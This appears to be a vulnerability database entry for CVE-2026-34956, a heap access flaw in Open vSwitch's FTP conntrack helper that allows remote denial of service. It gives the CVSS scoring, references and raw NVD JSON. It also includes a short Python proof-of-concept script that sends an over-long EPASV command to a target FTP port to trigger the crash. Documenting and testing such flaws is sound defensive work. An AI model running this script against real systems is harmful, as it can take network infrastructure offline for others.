CVE-2026-34956

Description

A flaw was found in Open vSwitch. When Open vSwitch is configured with a conntrack flow using FTP helpers over the userspace datapath, a remote attacker can send a specially crafted FTP stream with an EPASV command exceeding 255 characters. This heap access error can lead to a crash, resulting in a Denial of Service (DoS) for the affected system.

CVSS Details

CVSS Score

5.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Open vSwitch (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import socket

# Target configuration
TARGET_HOST = "192.168.1.1"
TARGET_PORT = 21

def send_exploit():
    try:
        # Establish TCP connection
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((TARGET_HOST, TARGET_PORT))
        
        # Receive FTP banner
        banner = s.recv(1024)
        print(banner.decode())
        
        # Construct malicious EPASV command
        # The vulnerability is triggered when the EPASV command argument exceeds 255 characters
        payload = "EPASV " + "A" * 300 + "\r\n"
        
        # Send payload
        s.send(payload.encode())
        
        # Attempt to receive response (service may crash)
        response = s.recv(1024)
        print(response.decode())
        
    except Exception as e:
        print(f"Connection error or crash: {e}")
    finally:
        s.close()

if __name__ == "__main__":
    send_exploit()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34956
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34956
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34956/
[4] VulDB https://vuldb.com/cve/CVE-2026-34956
[5] https://access.redhat.com/security/cve/CVE-2026-34956
[6] https://bugzilla.redhat.com/show_bug.cgi?id=2453459
[7] http://www.openwall.com/lists/oss-security/2026/03/31/15

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34956", "sourceIdentifier": "[email protected]", "published": "2026-05-05T16:16:11.927", "lastModified": "2026-05-05T19:31:10.400", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Open vSwitch. When Open vSwitch is configured with a conntrack flow using FTP helpers over the userspace datapath, a remote attacker can send a specially crafted FTP stream with an EPASV command exceeding 255 characters. This heap access error can lead to a crash, resulting in a Denial of Service (DoS) for the affected system."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-34956", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2453459", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2026/03/31/15", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}